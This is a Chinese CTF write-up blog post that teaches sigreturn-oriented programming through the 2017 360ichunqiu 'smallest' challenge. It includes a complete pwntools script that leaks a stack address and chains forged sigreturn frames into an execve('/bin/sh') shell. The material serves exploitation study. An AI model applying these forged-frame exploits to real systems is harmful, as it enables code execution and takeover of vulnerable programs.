lockcy's cave
0%

从一道360pwn题目学习srop

发表于 更新于
本文字数： 3.8k 阅读时长 ≈ 3 分钟

srop(sigreturn oriented programming)是一种比普通rop更灵活的攻击方式

srop(sigreturn oriented programming)最早在2014年第35届IEEE安全峰会上被提出，提出该方式的论文获得了当年最佳学生论文奖项。
srop中的sig应当指类unix系统中的signal，所以姑且叫srop为返回信号栈的导向编程

如下对signal的介绍来自于freebuf上的一篇文章
Signal这套机制在1970年代就被提出来并整合进了UNIX内核中，它在现在的操作系统中被使用的非常广泛，比如内核要杀死一个进程（kill -9 $PID），再比如为进程设置定时器，或者通知进程一些异常事件等等。

如下图所示，当内核向某个进程发起（deliver）一个signal，该进程会被暂时挂起（suspend），进入内核（1），然后内核为该进程保存相应的上下文，跳转到之前注册好的signal handler中处理相应signal（2），当signal handler返回之后（3），内核为该进程恢复之前保存的上下文，最后恢复进程的执行（4）。

在这四步过程中，第三步是关键，即如何使得用户态的signal handler执行完成之后能够顺利返回内核态。在类UNIX的各种不同的系统中，这个过程有些许的区别，但是大致过程是一样的。这里以Linux为例：

在第二步的时候，内核会帮用户进程将其上下文保存在该进程的栈上，然后在栈顶填上一个地址rt_sigreturn，这个地址指向一段代码，在这段代码中会调用sigreturn系统调用。因此，当signal handler执行完之后，栈指针（stack pointer）就指向rt_sigreturn，所以，signal handler函数的最后一条ret指令会使得执行流跳转到这段sigreturn代码，被动地进行sigreturn系统调用。下图显示了栈上保存的用户进程上下文、signal相关信息，以及rt_sigreturn：

从图中看出signal frame的的大小为0xf8
问题在于这个signal frame是可以随意伪造的，内核也不会判断signal frame的真伪，这使得我们可以非常轻松地控制寄存器，也为getshell提供了可行性
在pwntools里也集成了srop的利用脚本，具体位置在/pwnlib/rop/srop.py，使用者能随意修改定义的SigreturnFrame对象中寄存器值，十分方便

还是从具体例子出发
2017 360ichunqiu smallest

题目非常简单，只有一个64位系统调用syscall
执行一下程序，会让我输入内容

从代码来看也很好理解

1
2
3
4
5
6
xor     rax, rax   
mov     edx, 400h   
mov     rsi, rsp
mov     rdi, rax
syscall
retn

运行程序相当于执行了read(0,rsp,0x400) 最后pop rip，因为随便输入的123在rip中无法访问便出错，程序终止
因为程序比较简单，shellcode只能写在开辟的栈空间中，又因为0xf8小于0x400，srop也存在可行性
1.在使用pwntools的signal frame时需要确定伪造信号栈的写入位置，这就需要我们泄露栈地址（即rsp）
2.泄露地址所需write或put函数，可以通过劫持rax（read函数的返回值）完成对任意函数的系统调用实现
3.第一次调用read函数时读入1个字符（读入正常情况下read函数返回值为读入字符串数），同时要保证栈中数据不发生变化（下一步retn会pop出栈顶值到rip）
4.第一次伪造read的sigreturn frame劫持rax为15 （64位linuxsigreturn的系统调用号）
5.第二次伪造execve的sigreturn frame完成getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#!/usr/bin/python
#coding:utf-8
from pwn import *
context.update(os = 'linux', arch = 'amd64')

syscall_addr = 0x4000be
start_addr = 0x4000b0
set_rsi_rdi_addr = 0x4000b8

io=process('./smallest')

payload = ""
payload += p64(start_addr)			#返回到start重新执行一遍sys_read，利用返回值设置rax = 1，调用sys_write
payload += p64(set_rsi_rdi_addr)	#mov rsi, rsp; mov rdi, rax; syscall; retn，此时相当于执行sys_write(1, rsp, size)
payload += p64(start_addr)			#泄露栈地址之后返回到start，执行下一步操作

io.sendline(payload)
sleep(3)
io.send(payload[8:9])				#利用sys_read读取一个字符，设置rax = 1
stack_addr = u64(io.recv()[8:16]) + 0x100	#从泄露的数据中抽取栈地址
log.info('stack addr = %#x' %(stack_addr))
sleep(1)

def execve():
	#sys_read+sys_execve流程	#获取栈地址，在栈上取一块空间，使用SROP调用sys_read在指定地址读入"/bin/sh\x00"，随后调用sys_execve起shell

	#-----------------change stack-------------------

	frame_read = SigreturnFrame()		#设置read的SROP帧，不使用原先的read是因为可以使用SROP同时修改rsp，实现stack pivot
	frame_read.rax = constants.SYS_read
	frame_read.rdi = 0
	frame_read.rsi = stack_addr
	frame_read.rdx = 0x300
	frame_read.rsp = stack_addr
	frame_read.rip = syscall_addr

	payload = ""
	payload += p64(start_addr)
	payload += p64(syscall_addr)
	payload += str(frame_read)
	io.send(payload)
	sleep(3)
	io.send(payload[8:8+15])   #rax=15  sigreturn syscall
	sleep(3)
	#-----------------call execve-------------------

	frame_execve = SigreturnFrame()			#设置execve的SROP帧，注意计算/bin/sh\x00所在地址
	frame_execve.rax = constants.SYS_execve
	frame_execve.rdi = stack_addr+0x108
	frame_execve.rip = syscall_addr

	payload = ""
	payload += p64(start_addr)
	payload += p64(syscall_addr)
	payload += str(frame_execve)
	payload += "/bin/sh\x00"
	io.send(payload)
	sleep(1)
	io.send(payload[8:8+15])   #ensure rax  still equals 15
	sleep(1)
	io.interactive()

execve()

总结
srop是一种非常巧妙的攻击方式，虽然摒弃了寻找rop链的过程，但也有一些局限性，可控制空间需大于0xf8，程序要存在系统调用的过程等。但总体来说，伪造sigreturn frame的方法还是非常巧妙的

https://blog.csdn.net/Embed_coder/article/details/75155809
http://www.ieee-security.org/TC/SP2014/papers/FramingSignals-AReturntoPortableShellcode.pdf
https://www.freebuf.com/articles/network/87447.html